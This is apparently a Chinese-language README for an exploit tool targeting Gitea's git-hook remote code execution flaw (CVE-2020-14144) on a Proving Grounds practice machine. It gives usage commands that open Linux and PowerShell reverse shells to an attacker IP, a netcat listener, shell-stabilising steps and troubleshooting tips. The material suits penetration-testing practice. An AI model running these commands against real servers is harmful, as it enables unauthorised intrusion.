
Gitea 1.1.0 → 1.12.5 版本允许拥有“可以创建 Git 钩子”权限的已认证用户向 post-receive 钩子中注入任意 shell 命令。推送提交会触发该钩子并在服务器上执行载荷。
| 项目 | 详情 |
|---|
| 机器 | Roquefort (Proving Grounds Practice) |
| 操作系统 | Linux |
| Gitea 版本 | 1.7.5 |
| CVE | CVE-2020-14144 |
| 攻击向量 | 通过 Git Hooks 的已认证 RCE |
| 用户 Shell | chloe |
Gitea 1.1.0 → 1.12.5 版本允许具有 "May create git hooks"(可创建 Git 钩子)权限的已认证用户在 post-receive 钩子中注入任意 shell 命令。推送提交会触发该钩子并在服务器上执行载荷。
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
参见 MANUAL.md 获取逐步利用指南。
.
├── README.md # This file
├── MANUAL.md # Manual exploitation guide (Linux + Windows)
└── exploit.py # Automated exploit script
requests 库(pip install requests)gitusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
捕获到反向 Shell 后:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| 问题 | 解决方案 |
|---|---|
fatal: dubious ownership | 从 ~ 克隆而非共享文件夹,或运行 git config --global --add safe.directory '*' |
| 未收到连接 | 验证攻击者 IP、检查防火墙、确认两台机器在同一子网 |
| 钩子触发但没有 Shell | 先用 touch /tmp/pwned 载荷测试——如果文件出现,说明反向 Shell 被阻止了 |
| 钩子权限被拒绝 | 用户缺少钩子权限——需要管理员或 "May create git hooks" 权限 |
| 3000 端口冲突 | Gitea 使用 3000 端口——请为监听器使用其他端口,如 4444 |
本工具仅供授权的渗透测试和教育目的使用。未经授权访问计算机系统是非法的。请负责任地使用。